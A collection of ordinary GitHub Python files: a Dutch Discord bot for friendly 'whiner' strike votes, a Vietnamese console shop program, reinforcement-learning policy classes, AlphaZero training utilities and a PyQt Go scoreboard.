doesnt react on own messages\r\n if message.author == client.user:\r\n return\r\n\r\n #users that can call a vote\r\n valid_users = [\"Plumboi#6362\", \"Bengelboef#6632\", \"Je boy uit de inbraakhoofdstad#8452\", \"Sietse#8543\",\r\n \"Maarten_C#4774\", \"DaanLettah#1610\", \"Robvanmourik#0331\"]\r\n admins = [\"Plumboi#6362\", \"Je boy uit de inbraakhoofdstad#8452\"]\r\n\r\n #tests if message is command\r\n if message.content[0] == '!':\r\n global commandList\r\n commandList = message.content.split(' ', 2 )\r\n print(commandList)\r\n\r\n #executes vote command on '!jankerd'\r\n if commandList[0].lower() == '!jankerd' and str(message.author) in valid_users:\r\n global voters\r\n voters = list()\r\n global tegenVoters\r\n tegenVoters = list()\r\n\r\n #gets members in voice channel\r\n voice_channel = client.get_channel(527919083618828288)\r\n members = voice_channel.members\r\n #makes sure bots arent counted\r\n \"\"\"for member in members:\r\n if member.bot == True:\r\n members.remove(member)\"\"\"\r\n #counts number of people in voice channel\r\n numberOfMembers = len(members)\r\n\r\n if numberOfMembers < 2:\r\n await message.channel.send('er zijn niet genoeg mensen in de voice chat om een vote te beginnen.')\r\n return\r\n else:\r\n global votesRequired\r\n votesRequired = round(numberOfMembers/2)+1\r\n vote = await message.channel.send('{} noemt {} een jankerd om de rede \\'{}\\', vind je dit terecht, stem dan hieronder.\\n'\r\n 'Een van de tellers hieronder moet {} stemmen raken.'.format(message.author.display_name, commandList[1], commandList[2], votesRequired))\r\n await vote.add_reaction('⬆')\r\n await vote.add_reaction('⬇')\r\n global lastVote\r\n lastVote = vote.content\r\n await message.delete()\r\n\r\n #executes reasons command on !redenen\r\n if commandList[0].lower() == '!redenen':\r\n with open('strikes.json', 'r') as file:\r\n data = json.load(file)\r\n for item in data:\r\n if commandList[1] == item[\"DiscordID\"] or commandList[1].lower() == item[\"Name\"]:\r\n redenen_message = str()\r\n redenen_message += '{} heeft {} keer zitten janken. \\n'.format(item[\"Name\"].capitalize(), len(item[\"Strikes\"]))\r\n for strike in item[\"Strikes\"]:\r\n redenen_message += '{}. \\'{}\\' op {} om {} \\n'.format(strike[\"StrikeID\"], strike[\"Reason\"], strike[\"Date\"], strike[\"Time\"])\r\n await message.channel.send(str(redenen_message))\r\n\r\n #executes remove command on !remove WIP\r\n \"\"\"if commandList[0].lower() == '!remove' and str(message.author) in admins:\r\n with open('strikes.json', 'r') as file:\r\n data = json.load(file)\r\n for item in data:\r\n if item[\"DiscordID\"] == commandList[1]:\r\n for i in range(len(item[\"Strikes\"])):\r\n if str(item[\"Strikes\"][i]['StrikeID']) == commandList[2]:\r\n del item[\"Strikes\"][i]\r\n await message.channel.send('yeetus deletus {}'.format(i))\r\n \"\"\"\r\n #execute rank command on !rank\r\n if commandList[0].lower() == '!rank':\r\n rank_message = 'De score op het moment:\\n'\r\n with open('strikes.json', 'r') as file:\r\n data = json.load(file)\r\n sortedData = sorted(data, key=lambda item: len(item[\"Strikes\"]), reverse=True)\r\n number = 1\r\n for item in sortedData:\r\n rank_message += '{}. {} met {} jankmomenten.\\n'.format(number, item[\"Name\"].capitalize(), len(item[\"Strikes\"]))\r\n number += 1\r\n await message.channel.send(rank_message)\r\n\r\n #execute help command on !help\r\n if commandList[0].lower() == '!help':\r\n await message.channel.send('1. !jankerd (start een vote) \\n'\r\n '2. !redenen (zie alle jankmomenten voor deze persoon)\\n'\r\n '3. !rank (zie wie de meeste jankmomenten heeft gehad tot nu toe)')\r\n\r\n@client.event\r\nasync def on_reaction_add(reaction, user):\r\n channel = reaction.message.channel\r\n if user != client.user:\r\n print('{} added {}'.format(user.display_name, reaction.emoji))\r\n if reaction.message.content == lastVote and reaction.emoji == '⬆':\r\n if user not in voters:\r\n voters.append(user)\r\n print(voters)\r\n print(len(voters))\r\n if len(voters) == votesRequired:\r\n await reaction.message.delete()\r\n\r\n #add strike to json file\r\n with open('strikes.json', 'r') as file:\r\n data = json.load(file)\r\n print(commandList[1])\r\n for item in data:\r\n if commandList[1] == item[\"DiscordID\"]:\r\n strike = {\"StrikeID\": (len(item[\"Strikes\"])+1),\r\n \"Reason\": commandList[2],\r\n \"Date\": str(datetime.now().strftime(\"%d/%m/%Y\")),\r\n \"Time\": str(datetime.now().strftime(\"%H:%M:%S\"))\r\n }\r\n item[\"Strikes\"].append(strike)\r\n await channel.send('vote passed: \\'{}\\', {} heeft nu {} keer zitten janken.'.format(commandList[2], commandList[1], len(item[\"Strikes\"])))\r\n with open('strikes.json', 'w') as file:\r\n json.dump(data, file, indent=4)\r\n\r\n elif reaction.emoji == '⬇':\r\n if user not in tegenVoters:\r\n tegenVoters.append(user)\r\n if len(tegenVoters) == votesRequired:\r\n await channel.send('vote not passed: {} om de reden \\'{}\\'.'.format(commandList[1], commandList[2]))\r\n await reaction.message.delete()\r\n\r\n\r\nclient.run(TOKEN)","repo_name":"lucasdejager309/pestbot","sub_path":"bot.py","file_name":"bot.py","file_ext":"py","file_size_in_byte":6827,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"} +{"seq_id":"8694871350","text":"import os\nimport re\nimport copy\nproduct01 = {\n 'ID': 1, 'Product': {'Name': 'Giầy Thượng Đình', 'Category': 'Clothes', 'Price': 200}\n}\n\nproduct02 = {\n 'ID': 2, 'Product': {'Name': 'Quần jean', 'Category': 'Clothes', 'Price': 500}\n}\n\nproduct03 = {\n 'ID': 3, 'Product': {'Name': 'iPhoneX 256G', 'Category': 'Electronics', 'Price': 2000}\n}\n\nproduct04 = {\n 'ID': 4, 'Product': {'Name': 'MSI Gaming Laptop', 'Category': 'Electronics', 'Price': 3000}\n}\n\nproduct05 = {\n 'ID': 5, 'Product': {'Name': 'Máy in HP', 'Category': 'Office Products', 'Price': 2000}\n}\n\nproduct06 = {\n 'ID': 6, 'Product': {'Name': 'Toshiba プロジェクター', 'Category': 'Office Products', 'Price': 300}\n}\n\nlst_product = [product01, product02, product03, product04, product05, product06]\n\n\ndef main_show():\n \"\"\"\n Hàm chính của chương trình đưa ra các lựa chọn cho người dùng\n :return: giá trị trả về của hàm là giá trị mà người dùng nhập vào từ bàn phím\n \"\"\"\n string1 = \"Chọn 1 Nếu bạn là người bán hàng: \"\n string2 = \"Chọn 2 Nếu bạn là người mua hàng: \"\n print(string1.rjust(len(string1) + 10))\n print(string2.rjust(len(string2) + 10))\n ip = input(\"\\t Chọn 1 hoặc 2 để hiển thị chức năng: \")\n return ip\n\n\ndef buyer_view():\n \"\"\"\n Hàm giao diện form Buyer\n \"\"\"\n # Xóa màn hình\n os.system('cls')\n print(\"\\tXin chào BUYER\")\n print(\"\\tDưới đây là các chức năng của bạn\")\n print(\"-----\" * 13)\n print(\"1. \\tTìm kiếm sản phẩm theo tên sản phẩm\")\n print(\"2. \\tHiển thị tất cả các sản phẩm\")\n print(\"3. \\tHiển thị các sản phẩm theo thứ tự có giá từ thấp đến cao\")\n print(\"4. \\tHiển thị các sản phẩm theo tên\")\n print(\"5. \\tHiển thị các sản phẩm theo nhóm các Categogy\")\n print(\"6. \\tThoát\")\n ip_buyer = input(\"Chọn 1 đến 6 để hiển thị chức năng: \")\n check_ip_buyer(ip_buyer)\n\n\ndef saler_view():\n \"\"\"\n Hàm giao diện form saler\n \"\"\"\n os.system('cls')\n # Xóa màn hình\n print(\"\\tXin chào SALER\")\n print(\"\\tDưới đây là các chức năng của bạn\")\n print(\"-----\" * 13)\n print(\"1. \\tHiển thị tất cả các sản phẩm\")\n print(\"2. \\tHiển thị các sản phẩm theo thứ tự có giá từ thấp đến cao\")\n print(\"3. \\tHiển thị các sản phẩm theo tên\")\n print(\"4. \\tHiển thị các sản phẩm trong nhóm Clothes\")\n print(\"5. \\tHiển thị các sản phẩm trong nhóm Electronics\")\n print(\"6. \\tHiển thị các sản phẩm trong nhóm Office Products\")\n print(\"7. \\tTìm kiếm sản phẩm theo tên sản phẩm\")\n print(\"8. \\tThêm sản phẩm vào danh sách bán hàng\")\n print(\"9. \\tSửa thông tin sản phẩm\")\n print(\"10. \\tXóa thông tin sản phẩm\")\n print(\"11. \\tThoát\")\n ip_saler = input(\"Chọn 1 đến 11 để hiển thị chức năng: \")\n check_ip_saler(ip_saler)\n\n\ndef show_all_products():\n \"\"\"\n HÀM HIỂN THỊ TẤT CẢ THÔNG TIN SẢN PHẨM\n \"\"\"\n for index in range(len(lst_product)):\n for value in lst_product[index].get(\"Product\").values():\n print(\"{}\".format(value), end=' ', )\n print()\n\n\ndef show_sort_price():\n \"\"\"\n HÀM HIỂN THỊ THÔNG TIN SẢN PHẨM CÓ THỨ TỰ TỪ THẤP ĐẾN CAO\n \"\"\"\n lst_tg = lst_product.copy()\n for index in range(len(lst_tg) - 1):\n for index2 in range(index + 1, len(lst_tg)):\n if int(lst_tg[index].get(\"Product\").get(\"Price\")) > int(lst_tg[index2].get(\"Product\").get(\"Price\")):\n tg = lst_tg[index]\n lst_tg[index] = lst_tg[index2]\n lst_tg[index2] = tg\n for index in range(len(lst_tg)):\n for value in lst_tg[index].get(\"Product\").values():\n print(\"{}\".format(value), end=' ', )\n print()\n\n\ndef show_sort_name():\n \"\"\"\n HÀM HIỂN THỊ THÔNG TIN SẢN PHẨM THEO TÊN\n \"\"\"\n lst_tg = lst_product.copy()\n for index in range(len(lst_tg) - 1):\n for index2 in range(index + 1, len(lst_tg)):\n if lst_tg[index].get(\"Product\").get(\"Name\") < lst_tg[index2].get(\"Product\").get(\"Name\"):\n tg = lst_tg[index]\n lst_tg[index] = lst_tg[index2]\n lst_tg[index2] = tg\n for index in range(len(lst_tg)):\n for value in lst_tg[index].get(\"Product\").values():\n print(\"{}\".format(value), end=' ', )\n print()\n\n\ndef show_sort_category():\n \"\"\"\n HÀM HIỂN THỊ THÔNG TIN SẢN PHẨM THEO CATEGORY\n \"\"\"\n lst_tg = lst_product.copy()\n for index in range(len(lst_tg) - 1):\n for index2 in range(index + 1, len(lst_tg)):\n if lst_tg[index].get(\"Product\").get(\"Category\") > lst_tg[index2].get(\"Product\").get(\"Category\"):\n tg = lst_tg[index]\n lst_tg[index] = lst_tg[index2]\n lst_tg[index2] = tg\n for index in range(len(lst_tg)):\n for value in lst_tg[index].get(\"Product\").values():\n print(\"{}\".format(value), end=' ', )\n print()\n\n\ndef show_clothes():\n \"\"\"\n HÀM HIỂN THỊ THÔNG TIN SẢN PHẨM TRONG NHÓM CLOTHES\n \"\"\"\n lst_tg = list()\n for index in range(len(lst_product)):\n if lst_product[index].get(\"Product\").get(\"Category\") == 'Clothes':\n lst_tg.append(lst_product[index])\n for index2 in range(len(lst_tg)):\n for value in lst_tg[index2].get(\"Product\").values():\n print(\"{}\".format(value), end=' ', )\n print()\n\n\ndef show_electronics():\n \"\"\"\n HÀM HIỂN THỊ THÔNG TIN SẢN PHẨM TRONG NHÓM Electronics\n \"\"\"\n lst_tg = list()\n for index in range(len(lst_product)):\n if lst_product[index].get(\"Product\").get(\"Category\") == 'Electronics':\n lst_tg.append(lst_product[index])\n for index2 in range(len(lst_tg)):\n for value in lst_tg[index2].get(\"Product\").values():\n print(\"{}\".format(value), end=' ', )\n print()\n\n\ndef show_office_products():\n \"\"\"\n HÀM HIỂN THỊ THÔNG TIN SẢN PHẨM TRONG NHÓM Office Products\n \"\"\"\n lst_tg = list()\n for index in range(len(lst_product)):\n if lst_product[index].get(\"Product\").get(\"Category\") == 'Office Products':\n lst_tg.append(lst_product[index])\n for index2 in range(len(lst_tg)):\n for value in lst_tg[index2].get(\"Product\").values():\n print(\"{}\".format(value), end=' ', )\n print() \n\n\ndef find_for_name():\n \"\"\"\n HÀM TÌM KIẾM SẢN PHẨM THEO TÊN SẢN PHẨM\n \"\"\"\n os.system('cls')\n lst_tg = list()\n print(\"-----\" * 13)\n print(\"Tìm kiếm sản phẩm theo tên\")\n print(\"-----\" * 13)\n ip_find = input(\"Enter Product Name: \")\n ip_find = ip_find.lower()\n check_find = True\n for index in range(len(lst_product)):\n if re.search( r''+str(ip_find)+'',str(lst_product[index].get(\"Product\").get(\"Name\").lower())):\n lst_tg.append(lst_product[index])\n check_find = False\n if check_find:\n print(\"Không tìm thấy kết quả\")\n else:\n for index2 in range(len(lst_tg)):\n for value in lst_tg[index2].get(\"Product\").values():\n print(\"{}\".format(value), end=' ', )\n print()\n\n\ndef increat_product():\n \"\"\"\n HÀM THÊM SẢN PHẨM MỚI\n \"\"\"\n check_ippri = True\n os.system('cls')\n print(\"-----\" * 13)\n print(\"\\tThêm sản phẩm vào danh sách bán hàng\")\n print(\"-----\" * 13)\n ip_pro = input(\"Enter Product Name: \")\n ip_cat = input(\"Enter Category: \")\n while check_ippri:\n try:\n ip_pri = input(\"Enter Price: \")\n ip_pri = float(ip_pri)\n if isinstance(ip_pri, float):\n dic_increat = copy.deepcopy(product06)\n # dic_increat[\"Product\"] = product06[\"Product\"].copy()\n dic_increat[\"ID\"] = len(lst_product) + 1\n dic_increat.get(\"Product\")[\"Name\"] = ip_pro\n dic_increat.get(\"Product\")[\"Category\"] = ip_cat\n dic_increat.get(\"Product\")[\"Price\"] = ip_pri\n lst_product.append(dic_increat)\n print(\"Thêm thành công\")\n print(\"DANH SÁCH SẢN PHẨM SAU KHI THAY ĐỔI:\")\n check_ippri = False\n show_all_products()\n except :\n os.system('cls')\n print(\"Bạn phải nhập giá theo kiểu số thực\") \n\n\ndef edit_product():\n \"\"\"\n HÀM SỬA THÔNG TIN SẢN PHẨM THEO TÊN SẢN PHẨM\n \"\"\"\n os.system('cls')\n print(\"-----\" * 13)\n print(\"\\tSửa thông tin sản phẩm\")\n print(\"-----\" * 13)\n ip_edit = input(\"Nhập tên sản phẩm muốn sửa: \")\n ip_edit = ip_edit.lower()\n check_edit = True\n check_ippri = True\n for index in range(len(lst_product)):\n if re.search( r''+str(ip_edit)+'',str(lst_product[index].get(\"Product\").get(\"Name\").lower())):\n print(\"Sản phẩm bạn muốn sửa là: \", end='')\n for value in lst_product[index].get(\"Product\").values():\n print(\"{}\".format(value), end=' ')\n print()\n ip_edit_name = input(\"Enter Name: \")\n ip_edit_cat = input(\"Enter Category: \")\n while check_ippri:\n try:\n ip_edit_pri = input(\"Enter Price: \")\n ip_edit_pri = float(ip_edit_pri)\n if isinstance(ip_edit_pri, float):\n lst_product[index][\"Product\"][\"Name\"] = ip_edit_name\n lst_product[index][\"Product\"][\"Category\"] = ip_edit_cat\n lst_product[index][\"Product\"][\"Price\"] = ip_edit_pri\n check_edit = False\n print(\"DANH SÁCH SẢN PHẨM SAU KHI THAY ĐỔI:\")\n check_ippri = False\n show_all_products()\n except ValueError:\n os.system('cls')\n print(\"Bạn phải nhập giá theo kiểu số thực\") \n if check_edit:\n print(\"Không tìm thấy tên sản phẩm trùng khớp\")\n\n\ndef del_product():\n \"\"\"\n HÀM XÓA THÔNG TIN SẢN PHẨM THEO TÊN SẢN PHẨM\n \"\"\"\n os.system('cls')\n print(\"-----\" * 13)\n print(\"\\tXóa thông tin sản phẩm\")\n print(\"-----\" * 13)\n ip_del = input(\"Nhập tên sản phẩm muốn xóa: \")\n ip_del = ip_del.lower()\n check_del = True\n for index in range(len(lst_product)):\n if re.search( r''+str(ip_del)+'',str(lst_product[index].get(\"Product\").get(\"Name\").lower())):\n check_del = False\n print(\"Sản phẩm bạn muốn xóa là: \", end='')\n for value in lst_product[index].get(\"Product\").values():\n print(\"{}\".format(value), end=' ')\n print()\n ip_yn = input(\"Bạn có chắc chắn muốn xóa không ?(Có = y, Không = n): \")\n if ip_yn.lower() == 'y':\n del lst_product[index]\n print(\"DANH SÁCH SẢN PHẨM SAU KHI XÓA:\")\n show_all_products()\n elif ip_yn.lower() == 'n':\n print(\"KHÔNG CÓ SẢN PHẨM NÀO BỊ XÓA\") \n break \n if check_del:\n print(\"Không có tên sản phẩm mà bạn muốn xóa\")\n\n\ndef comback_saler():\n \"\"\"\n HÀM ĐƯA RA LỰA CHỌN CÓ TRỞ VỀ FORM SALER ĐỂ THỰC HIỆN CÁC CÔNG VIỆC KHÁC NỮA KHÔNG\n \"\"\"\n check_comeback = True\n while check_comeback: \n ip_comeback = input(\"Chọn 'y' để quay lại màn hình SALER, chọn 'n' để thoát chương trình: \")\n if ip_comeback == 'y':\n check_comeback = False\n saler_view()\n elif ip_comeback == 'n':\n exit()\n else:\n check_comeback = True \n\n\ndef comback_buyer():\n \"\"\"\n HÀM ĐƯA RA LỰA CHỌN CÓ TRỞ VỀ FORM BUYER ĐỂ THỰC HIỆN CÁC CÔNG VIỆC KHÁC NỮA KHÔNG\n \"\"\"\n check_comeback = True\n while check_comeback: \n ip_comeback = input(\"Chọn 'y' để quay lại màn hình BUYER, chọn 'n' để thoát chương trình: \")\n if ip_comeback == 'y':\n check_comeback = False\n buyer_view()\n elif ip_comeback == 'n':\n exit()\n else:\n check_comeback = True \n\n\ndef check_ip_saler(ip_saler):\n \"\"\"\n HÀM KIỂM TRA THÔNG TIN NHẬP VÀO CỦA SALER\n \"\"\"\n check_sal = True\n while check_sal:\n if str(ip_saler) == '1':\n show_all_products()\n comback_saler()\n check_sal = False\n elif str(ip_saler) == '2':\n show_sort_price()\n comback_saler()\n check_sal = False\n elif str(ip_saler) == '3':\n show_sort_name()\n comback_saler()\n check_sal = False\n elif str(ip_saler) == '4':\n show_clothes()\n comback_saler()\n check_sal = False\n elif str(ip_saler) == '5':\n show_electronics()\n comback_saler()\n check_sal = False\n elif str(ip_saler) == '6':\n show_office_products()\n comback_saler()\n check_sal = False\n elif str(ip_saler) == '7':\n find_for_name()\n comback_saler()\n check_sal = False\n elif str(ip_saler) == '8':\n increat_product()\n comback_saler()\n check_sal = False\n elif str(ip_saler) == '9':\n edit_product()\n comback_saler()\n check_sal = False\n elif str(ip_saler) == '10':\n del_product()\n comback_saler()\n check_sal = False\n elif str(ip_saler) == '11':\n exit()\n check_sal = False\n else:\n print(\"Xin Mời bạn nhập lại. Bạn chỉ được chọn 1 đến 11\")\n comback_saler()\n check_sal = False\n\n\ndef check_ip_buyer(ip_buyer):\n \"\"\"\n HÀM KIỂM TRA THÔNG TIN NHẬP VÀO CỦA BUYER\n \"\"\"\n check_buy = True\n while check_buy:\n if str(ip_buyer) == '1':\n find_for_name()\n comback_buyer()\n check_buy = False\n elif str(ip_buyer) == '2':\n show_all_products()\n comback_buyer()\n check_buy = False\n elif str(ip_buyer) == '3':\n show_sort_price()\n comback_buyer()\n check_buy = False\n elif str(ip_buyer) == '4':\n show_sort_name()\n comback_buyer()\n check_buy = False\n elif str(ip_buyer) == '5':\n show_sort_category()\n comback_buyer()\n check_buy = False\n elif str(ip_buyer) == '6':\n exit()\n check_buy = False\n else:\n print(\"Xin Mời bạn nhập lại. Bạn chỉ được chọn 1 đến 6\")\n comback_buyer()\n check_buy = False\n\n\ndef check_input_main(ip):\n \"\"\"\n Hàm kiểm tra dữ liệu người dùng nhập vào có đúng theo quy định hay không\n \"\"\"\n check_ip_main = True\n while check_ip_main:\n if str(ip) != '1' and str(ip) != '2':\n os.system('cls')\n print(\"Xin Mời bạn nhập lại. Bạn chỉ được chọn 1 hoặc 2\")\n print(\"-----\" * 13)\n ip = main_show()\n elif str(ip) == '1':\n saler_view()\n check_ip_main = False\n elif str(ip) == '2':\n buyer_view()\n check_ip_main = False\n\nip_main = main_show()\ncheck_input_main(ip_main)\n","repo_name":"sacki123/django_training","sub_path":"Python test/Bài tập TẾT/baitaptet_hoang V2.0.py","file_name":"baitaptet_hoang V2.0.py","file_ext":"py","file_size_in_byte":15818,"program_lang":"python","lang":"vi","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"} +{"seq_id":"74884106937","text":"import abc\nimport numpy as np\nfrom agent import Action\nfrom typing import List\n\n\nclass Policy(metaclass=abc.ABCMeta):\n \"\"\"Generic agent class with fill-in template.\"\"\"\n\n @abc.abstractmethod\n def decide_action(self, observation: List):\n \"\"\"Take an action based on the given observation.\"\"\"\n raise NotImplementedError\n\n\nclass PureRandomPolicy(Policy):\n \"\"\"A policy that takes action on a purely random basis.\"\"\"\n\n def __init__(self):\n \"\"\"Initialize random Policy.\"\"\"\n self.visual = False\n self.visual_matrix = None\n\n def decide_action(self, observation):\n \"\"\"\n Decide action based on pure randomness.\n\n :param observation: dict containing information about the environment. NOT USED FOR THIS POLICY\n :return: Random action chosen by policy\n \"\"\"\n return np.random.choice([Action.UP, Action.DOWN, Action.LEFT, Action.RIGHT])\n\n\nclass ValueBasedPolicy(Policy):\n \"\"\"A policy that takes action based on value.\"\"\"\n\n def __init__(self, gamma=1, visuals=True):\n \"\"\"\n Create Value-based policy with parameters.\n\n :param gamma: Gamma is the discount value in this context\n :param visuals: This parameter is used to check if we want to visualize\n \"\"\"\n self.value_matrix = None\n self.visual_matrix = None\n self.agent = None\n self.gamma = gamma\n self.visual = visuals\n\n def decide_action(self, observation):\n \"\"\"\n Decide action based on pure random.\n\n :param observation: observation is a dict containing information about the environment\n :return: Action chosen based on the observation\n \"\"\"\n all_action = [Action.UP, Action.DOWN, Action.LEFT, Action.RIGHT]\n outcome = []\n # Get all values from every action possible\n for action in all_action:\n self.agent.env.reset(observation[\"agent_location\"])\n obs, r, _, _ = self.agent.env.step(action)\n outcome.append((action, r, obs))\n\n # Return best value using the Bellman equation\n return max(outcome, key=lambda x: x[1] + self.gamma * self.value_matrix[x[2][\"agent_location\"]])[0]\n","repo_name":"hassoonsy2/Adaptive-Systems","sub_path":"AS1.2 - Model-based prediction & control - programmeeropdracht/policy.py","file_name":"policy.py","file_ext":"py","file_size_in_byte":2194,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"} +{"seq_id":"26880185864","text":"import numpy as np\nimport torch\n\n@torch.no_grad()\ndef evaluate_n(board, player1, player2, n_games):\n wins = 0\n for _ in range(n_games):\n winner = evaluate(board, player1, player2)\n if winner == 1:\n wins += 1\n return wins\n\n@torch.no_grad()\ndef evaluate(board, player1, player2):\n board.init_board()\n players = [player1, player2]\n i = 0\n while True:\n player = players[i % 2]\n move = player.get_action(board, reset_tree=True)\n board.do_move(move)\n i += 1\n end, winner = board.game_end()\n if end:\n break\n return winner\n\ndef get_augmented_data(board, play_data):\n \"\"\"augment the data set by rotation and flipping\n play_data: [(state, mcts_prob, winner_z), ..., ...]\n \"\"\"\n extend_data = []\n for state, probs, winner in play_data:\n for i in [1, 2, 3, 4]:\n # rotate counterclockwise\n equi_state = np.array([np.rot90(s, i) for s in state])\n equi_mcts_prob = np.rot90(\n np.flipud(probs.reshape(board.height, board.width)), i\n )\n extend_data.append(\n (equi_state, np.flipud(equi_mcts_prob).flatten(), winner)\n )\n # flip horizontally\n equi_state = np.array([np.fliplr(s) for s in equi_state])\n equi_mcts_prob = np.fliplr(equi_mcts_prob)\n extend_data.append(\n (equi_state, np.flipud(equi_mcts_prob).flatten(), winner)\n )\n\n return extend_data\n","repo_name":"0xNineteen/hyper-alpha-zero","sub_path":"utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":1522,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"22"} +{"seq_id":"30715924110","text":"from PyQt6.QtGui import QIcon, QPixmap, QFont\nfrom PyQt6.QtWidgets import QDockWidget, QVBoxLayout, QWidget, QLabel, \\\n QPushButton, QDialog, QGridLayout\nfrom PyQt6.QtCore import pyqtSlot, Qt\n\n\n\nclass ScoreBoard(QDockWidget):\n '''# base the score_board on a QDockWidget'''\n\n def __init__(self):\n super().__init__()\n self.totalScoreB = None\n self.totalScoreW = None\n self.player2 = None\n self.player1 = None\n self.initUI()\n\n def initUI(self):\n '''initiates ScoreBoard UI'''\n self.resize(250, 250)\n self.setFixedWidth(250)\n self.setAllowedAreas(Qt.DockWidgetArea.RightDockWidgetArea)\n self.center()\n self.setWindowTitle('ScoreBoard')\n self.player1 = \"\"\n self.player2 = \"\"\n # create a widget to hold other widgets\n self.mainWidget = QWidget() # main scoreboard widgets\n self.mainLayout = QVBoxLayout() # layout style initialized\n self.mainWidget.setMaximumSize(250, 1000) # setting max size for side widget\n self.setWidget(self.mainWidget)\n self.show()\n\n # styling and background for dock\n self.mainWidget.setAutoFillBackground(True)\n self.mainWidget.setStyleSheet(\"\"\"background-image: url(\"icons/beige-tiles.png\");\"\"\")\n\n # used for font across widget\n self.timer_font = QFont('Baskerville', 16) # font for timer\n self.timer_font.setBold(True) # timer bold\n self.current_font = QFont('Baskerville', 18) # font for timer\n # create two labels which will be updated by signals\n self.scoreBlack = 0\n self.scoreWhite = 0\n\n # self.label_clickLocation = QLabel()\n # label for stones collected by players\n self.label_collected = QLabel(\n \" Black : \" + str(self.scoreBlack) + \" White : \" + str(self.scoreWhite) + \"\\n \")\n self.label_collected.setFont(QFont('Baskerville', 16))\n self.label_collected.setStyleSheet(\"font-weight: bold; color:#003049;\")\n # current turn labels\n self.turn_label = QLabel(\"Current Turn:\")\n self.turn_label.setFont(self.current_font)\n self.turn_label.setStyleSheet(\"color:#2b9348; font-weight: bold\")\n # display player's name by turn\n self.curent_player = QLabel(\"\") #player 1 label empty string call flag color\n self.curent_player.setFont(QFont('Baskerville', 16))\n # user turn by color, adding image white or black to label\n self.curent_turn = QLabel()\n self.curent_turn.setStyleSheet(\"\"\"background-image: url(\"icons/black.png\");\"\"\")\n\n # Clock icons and labels\n self.stop_watch = QPixmap('./icons/stopwatch.png') # icons for timer blue\n self.stop_watch_red = QPixmap('./icons/stopwatch-red.png') # icon for timer red\n self.stop_watch_label = QLabel()\n self.stop_watch_label.setPixmap(self.stop_watch) # adding icon for timer\n self.stop_watch_label.setAlignment(Qt.AlignmentFlag.AlignCenter) # icon alignment\n # label display value left of seconds\n self.label_timeRemaining = QLabel(\"Time: \") # value label\n self.label_timeRemaining.setFont(self.timer_font) # set font\n self.label_timeRemaining.setAlignment(Qt.AlignmentFlag.AlignCenter) # align value\n\n \"\"\"add skip button\"\"\"\n self.skip_button = QPushButton(QIcon(\"./icons/skip.png\"), \"Skip\", self)\n # self.skip_button.clicked.connect(self.skipTurn) # calls skip turn method upon clicking\n # Will leave skip turn method being called from the go file for now\n\n \"\"\"\"add STOP button;ignore play\"\"\"\n self.play_button = QPushButton(QIcon(\"./icons/close.png\"), \"Stop\")\n self.play_button.setShortcut('Ctrl+s')\n self.play_button.setFocusPolicy(Qt.FocusPolicy.NoFocus)\n\n # adding labels to right dock widget\n self.mainWidget.setLayout(self.mainLayout) # layout of dock\n self.mainLayout.addWidget(self.label_collected) # location label to widget\n #self.mainLayout.addWidget(self.label_clickLocation) # location label to widget\n self.mainLayout.addWidget(self.stop_watch_label) # add icon label to widget\n self.mainLayout.addWidget(self.label_timeRemaining) # time value label to widget\n self.mainLayout.addWidget(self.turn_label) #turn text\n self.mainLayout.addWidget(self.curent_player) #players turn\n self.mainLayout.addWidget(self.curent_turn) #color turn\n self.mainLayout.addWidget(self.skip_button) #skip button\n self.mainLayout.addWidget(self.play_button) #stop\n\n # styling for stop button\n self.play_button.setStyleSheet(\"\"\" \n QPushButton {\n font-weight:1000;\n color:#001d3d; \n font-family:'Baskerville'; \n background-color:transparent;\n font-size: 19px;\n height: 40px;\n }\n QPushButton:hover {\n color:#d90429 ;\n }\n \"\"\")\n\n # stylesheet for skip button\n self.skip_button.setStyleSheet(\"\"\" \n QPushButton {\n font-weight:1000;\n color:#001d3d; \n font-family:'Baskerville'; \n background-color:transparent;\n font-size: 19px;\n height: 40px;\n }\n QPushButton:hover {\n color:#00a896 ;\n }\n \"\"\")\n\n \"\"\"function for Play button\"\"\"\n def getPlayButton(self):\n return self.play_button\n\n def center(self):\n '''centers the window on the screen, you do not need to implement this method'''\n\n def make_connection(self, board):\n '''this handles a signal sent from the board class'''\n self.gameBoard = board\n # when the clickLocationSignal is emitted in board the setClickLocation slot receives it\n board.clickLocationSignal.connect(self.setClickLocation)\n # when the updateTimerSignal is emitted in the board the setTimeRemaining slot receives it\n board.updateTimerSignal.connect(self.setTimeRemaining)\n\n\n @pyqtSlot(str) # checks to make sure that the following slot is receiving an argument of the type 'int'\n def setClickLocation(self, clickLoc):\n '''updates the label to show the click location'''\n #self.label_clickLocation.setText(clickLoc)\n # print('slot ' + clickLoc)\n\n \"\"\"EXTRA FEATURE updating the timer counter\"\"\"\n @pyqtSlot(int)\n def setTimeRemaining(self, timeRemainng):\n '''updates the time remaining label to show the time remaining'''\n update = \"Time Left:\" + str(timeRemainng)\n self.label_timeRemaining.setText(update) # update time\n # print('slot ' + update)\n\n if timeRemainng < 10: # if 10 seconds left update icon\n self.stop_watch_label.setPixmap(self.stop_watch_red) # updating icon\n self.stop_watch_label.update() # icon update\n \"\"\"if counter is 0, calls names if any, resets watch label, and turn\"\"\"\n if timeRemainng == 0:\n # change the player name\n self.alternateNames()\n #reset timer\n self.gameBoard.resetCounter()\n # reset pixmap watch\n self.stop_watch_label.setPixmap(self.stop_watch)\n # add turn to logic\n self.gameBoard.skipTurn(self)\n\n\n \"\"\"reset the timer label icon\"\"\"\n def resetPixel(self):\n self.stop_watch_label.setPixmap(self.stop_watch)\n\n \"\"\"adding player names to variables for display\"\"\"\n def setPlayers(self, p1, p2):\n self.player1 = p1\n self.player2 = p2\n\n \"\"\"update the text for players 1 or 2\"\"\"\n def updateCurrentPlayer(self, n):\n self.curent_player.setText(n)\n #self.curent_player.setStyleSheet(\"font-family: Baskerville; font-size:22; font-weight:bold; color: #292f36\")\n self.update()\n\n \"\"\"function for player name alternate between turns\"\"\"\n def alternateNames(self):\n # if the player is black add name string inserted, if any, else remains blank\n if self.curent_player.text() == \"black: \" + self.player1:\n # add the string name is any to white player\n self.updateCurrentPlayer(\"white: \" + self.player2)\n # color turn added for white\n self.curent_turn.setStyleSheet(\"\"\"background-image: url(\"icons/white.png\");\"\"\")\n else: 